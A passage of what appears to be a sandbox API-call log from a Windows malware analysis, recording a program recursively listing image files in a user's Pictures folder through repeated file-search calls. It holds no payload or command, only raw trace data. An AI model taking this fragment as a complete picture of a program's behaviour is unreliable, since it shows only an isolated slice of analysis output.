lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b163b0, ftCreationTime.dwHighDateTime=0x1d9b044, ftLastAccessTime.dwLowDateTime=0x273a77d0, ftLastAccessTime.dwHighDateTime=0x1d9b48a, ftLastWriteTime.dwLowDateTime=0x273a77d0, ftLastWriteTime.dwHighDateTime=0x1d9b48a, nFileSizeHigh=0x0, nFileSizeLow=0x15975, dwReserved0=0x0, dwReserved1=0x0, cFileName="J3pcm1kpS.png", cAlternateFileName="J3PCM1~1.PNG")) returned 1 [0212.410] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wafQle_PURcz7xSfrM", cAlternateFileName="WAFQLE~1")) returned 1 [0212.410] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8c7340, ftCreationTime.dwHighDateTime=0x1d9b331, ftLastAccessTime.dwLowDateTime=0xc5d59240, ftLastAccessTime.dwHighDateTime=0x1d9b33f, ftLastWriteTime.dwLowDateTime=0xc5d59240, ftLastWriteTime.dwHighDateTime=0x1d9b33f, nFileSizeHigh=0x0, nFileSizeLow=0x557e, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGCYkK_B.jpg", cAlternateFileName="")) returned 1 [0212.410] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8c7340, ftCreationTime.dwHighDateTime=0x1d9b331, ftLastAccessTime.dwLowDateTime=0xc5d59240, ftLastAccessTime.dwHighDateTime=0x1d9b33f, ftLastWriteTime.dwLowDateTime=0xc5d59240, ftLastWriteTime.dwHighDateTime=0x1d9b33f, nFileSizeHigh=0x0, nFileSizeLow=0x557e, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGCYkK_B.jpg", cAlternateFileName="")) returned 0 [0212.410] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0212.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0212.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0212.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.411] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3", lpFilePart=0x0) returned 0x50 [0212.411] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\9gee2jkdtolmlsyqtow3\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.411] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.411] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe86b9c0, ftCreationTime.dwHighDateTime=0x1d9b2b7, ftLastAccessTime.dwLowDateTime=0x9df0e500, ftLastAccessTime.dwHighDateTime=0x1d9b46f, ftLastWriteTime.dwLowDateTime=0x9df0e500, ftLastWriteTime.dwHighDateTime=0x1d9b46f, nFileSizeHigh=0x0, nFileSizeLow=0x2126, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a-yWWlxR.png", cAlternateFileName="3A-YWW~1.PNG")) returned 1 [0212.412] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c6cd60, ftCreationTime.dwHighDateTime=0x1d9aee4, ftLastAccessTime.dwLowDateTime=0xa8a6b2b0, ftLastAccessTime.dwHighDateTime=0x1d9b238, ftLastWriteTime.dwLowDateTime=0xa8a6b2b0, ftLastWriteTime.dwHighDateTime=0x1d9b238, nFileSizeHigh=0x0, nFileSizeLow=0x14675, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ZiBG8DBodQj.bmp", cAlternateFileName="7ZIBG8~1.BMP")) returned 1 [0212.412] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c6c2bc0, ftCreationTime.dwHighDateTime=0x1d9b000, ftLastAccessTime.dwLowDateTime=0x3c19cf90, ftLastAccessTime.dwHighDateTime=0x1d9b53c, ftLastWriteTime.dwLowDateTime=0x3c19cf90, ftLastWriteTime.dwHighDateTime=0x1d9b53c, nFileSizeHigh=0x0, nFileSizeLow=0x7cc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="XoZPV4RDnpR5gjD8.gif", cAlternateFileName="XOZPV4~1.GIF")) returned 1 [0212.412] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.412] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0212.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0212.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.412] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3", lpFilePart=0x0) returned 0x50 [0212.413] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\9Gee2JkDTOLmlSYqtow3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\9gee2jkdtolmlsyqtow3\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469460 [0212.413] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.413] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe86b9c0, ftCreationTime.dwHighDateTime=0x1d9b2b7, ftLastAccessTime.dwLowDateTime=0x9df0e500, ftLastAccessTime.dwHighDateTime=0x1d9b46f, ftLastWriteTime.dwLowDateTime=0x9df0e500, ftLastWriteTime.dwHighDateTime=0x1d9b46f, nFileSizeHigh=0x0, nFileSizeLow=0x2126, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a-yWWlxR.png", cAlternateFileName="3A-YWW~1.PNG")) returned 1 [0212.413] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c6cd60, ftCreationTime.dwHighDateTime=0x1d9aee4, ftLastAccessTime.dwLowDateTime=0xa8a6b2b0, ftLastAccessTime.dwHighDateTime=0x1d9b238, ftLastWriteTime.dwLowDateTime=0xa8a6b2b0, ftLastWriteTime.dwHighDateTime=0x1d9b238, nFileSizeHigh=0x0, nFileSizeLow=0x14675, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ZiBG8DBodQj.bmp", cAlternateFileName="7ZIBG8~1.BMP")) returned 1 [0212.414] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c6c2bc0, ftCreationTime.dwHighDateTime=0x1d9b000, ftLastAccessTime.dwLowDateTime=0x3c19cf90, ftLastAccessTime.dwHighDateTime=0x1d9b53c, ftLastWriteTime.dwLowDateTime=0x3c19cf90, ftLastWriteTime.dwHighDateTime=0x1d9b53c, nFileSizeHigh=0x0, nFileSizeLow=0x7cc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="XoZPV4RDnpR5gjD8.gif", cAlternateFileName="XOZPV4~1.GIF")) returned 1 [0212.414] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c6c2bc0, ftCreationTime.dwHighDateTime=0x1d9b000, ftLastAccessTime.dwLowDateTime=0x3c19cf90, ftLastAccessTime.dwHighDateTime=0x1d9b53c, ftLastWriteTime.dwLowDateTime=0x3c19cf90, ftLastWriteTime.dwHighDateTime=0x1d9b53c, nFileSizeHigh=0x0, nFileSizeLow=0x7cc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="XoZPV4RDnpR5gjD8.gif", cAlternateFileName="XOZPV4~1.GIF")) returned 0 [0212.414] FindClose (in: hFindFile=0x1d469460 | out: hFindFile=0x1d469460) returned 1 [0212.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0212.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0212.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.414] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P", lpFilePart=0x0) returned 0x44 [0212.414] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\c-bk2i6p\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0212.415] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.415] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed6e5a0, ftCreationTime.dwHighDateTime=0x1d9aa8c, ftLastAccessTime.dwLowDateTime=0xf737a2c0, ftLastAccessTime.dwHighDateTime=0x1d9af60, ftLastWriteTime.dwLowDateTime=0xf737a2c0, ftLastWriteTime.dwHighDateTime=0x1d9af60, nFileSizeHigh=0x0, nFileSizeLow=0x1273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Om1cve.jpg", cAlternateFileName="")) returned 1 [0212.415] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd91e6a0, ftCreationTime.dwHighDateTime=0x1d9b200, ftLastAccessTime.dwLowDateTime=0x1f713e20, ftLastAccessTime.dwHighDateTime=0x1d9b260, ftLastWriteTime.dwLowDateTime=0x1f713e20, ftLastWriteTime.dwHighDateTime=0x1d9b260, nFileSizeHigh=0x0, nFileSizeLow=0xede7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uh7BJNGEcjLlkC68n.png", cAlternateFileName="UH7BJN~1.PNG")) returned 1 [0212.415] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.416] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0212.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0212.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0212.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.416] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P", lpFilePart=0x0) returned 0x44 [0212.416] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\C-Bk2i6P\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\c-bk2i6p\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0212.416] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.417] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed6e5a0, ftCreationTime.dwHighDateTime=0x1d9aa8c, ftLastAccessTime.dwLowDateTime=0xf737a2c0, ftLastAccessTime.dwHighDateTime=0x1d9af60, ftLastWriteTime.dwLowDateTime=0xf737a2c0, ftLastWriteTime.dwHighDateTime=0x1d9af60, nFileSizeHigh=0x0, nFileSizeLow=0x1273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Om1cve.jpg", cAlternateFileName="")) returned 1 [0212.417] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd91e6a0, ftCreationTime.dwHighDateTime=0x1d9b200, ftLastAccessTime.dwLowDateTime=0x1f713e20, ftLastAccessTime.dwHighDateTime=0x1d9b260, ftLastWriteTime.dwLowDateTime=0x1f713e20, ftLastWriteTime.dwHighDateTime=0x1d9b260, nFileSizeHigh=0x0, nFileSizeLow=0xede7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uh7BJNGEcjLlkC68n.png", cAlternateFileName="UH7BJN~1.PNG")) returned 1 [0212.417] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd91e6a0, ftCreationTime.dwHighDateTime=0x1d9b200, ftLastAccessTime.dwLowDateTime=0x1f713e20, ftLastAccessTime.dwHighDateTime=0x1d9b260, ftLastWriteTime.dwLowDateTime=0x1f713e20, ftLastWriteTime.dwHighDateTime=0x1d9b260, nFileSizeHigh=0x0, nFileSizeLow=0xede7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uh7BJNGEcjLlkC68n.png", cAlternateFileName="UH7BJN~1.PNG")) returned 0 [0212.417] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0212.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0212.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0212.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.418] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM", lpFilePart=0x0) returned 0x4e [0212.418] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\wafqle_purcz7xsfrm\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.418] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.418] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926e7950, ftCreationTime.dwHighDateTime=0x1d9b405, ftLastAccessTime.dwLowDateTime=0x420170b0, ftLastAccessTime.dwHighDateTime=0x1d9b434, ftLastWriteTime.dwLowDateTime=0x420170b0, ftLastWriteTime.dwHighDateTime=0x1d9b434, nFileSizeHigh=0x0, nFileSizeLow=0x14b6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="53bz5.png", cAlternateFileName="")) returned 1 [0212.419] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db74880, ftCreationTime.dwHighDateTime=0x1d9af46, ftLastAccessTime.dwLowDateTime=0xadb25030, ftLastAccessTime.dwHighDateTime=0x1d9afc6, ftLastWriteTime.dwLowDateTime=0xadb25030, ftLastWriteTime.dwHighDateTime=0x1d9afc6, nFileSizeHigh=0x0, nFileSizeLow=0x37aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="8MN9GXebS.png", cAlternateFileName="8MN9GX~1.PNG")) returned 1 [0212.419] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1668d660, ftCreationTime.dwHighDateTime=0x1d9ac54, ftLastAccessTime.dwLowDateTime=0xa84b6fd0, ftLastAccessTime.dwHighDateTime=0x1d9b126, ftLastWriteTime.dwLowDateTime=0xa84b6fd0, ftLastWriteTime.dwHighDateTime=0x1d9b126, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qedyfACqIo iSjhu_Prz", cAlternateFileName="QEDYFA~1")) returned 1 [0212.419] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ddf9a0, ftCreationTime.dwHighDateTime=0x1d9add2, ftLastAccessTime.dwLowDateTime=0x559fe400, ftLastAccessTime.dwHighDateTime=0x1d9b004, ftLastWriteTime.dwLowDateTime=0x559fe400, ftLastWriteTime.dwHighDateTime=0x1d9b004, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="zICHpKnpbw.bmp", cAlternateFileName="ZICHPK~1.BMP")) returned 1 [0212.419] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.419] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0212.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0212.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0212.420] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM", lpFilePart=0x0) returned 0x4e [0212.420] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\wafQle_PURcz7xSfrM\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\wafqle_purcz7xsfrm\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.420] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 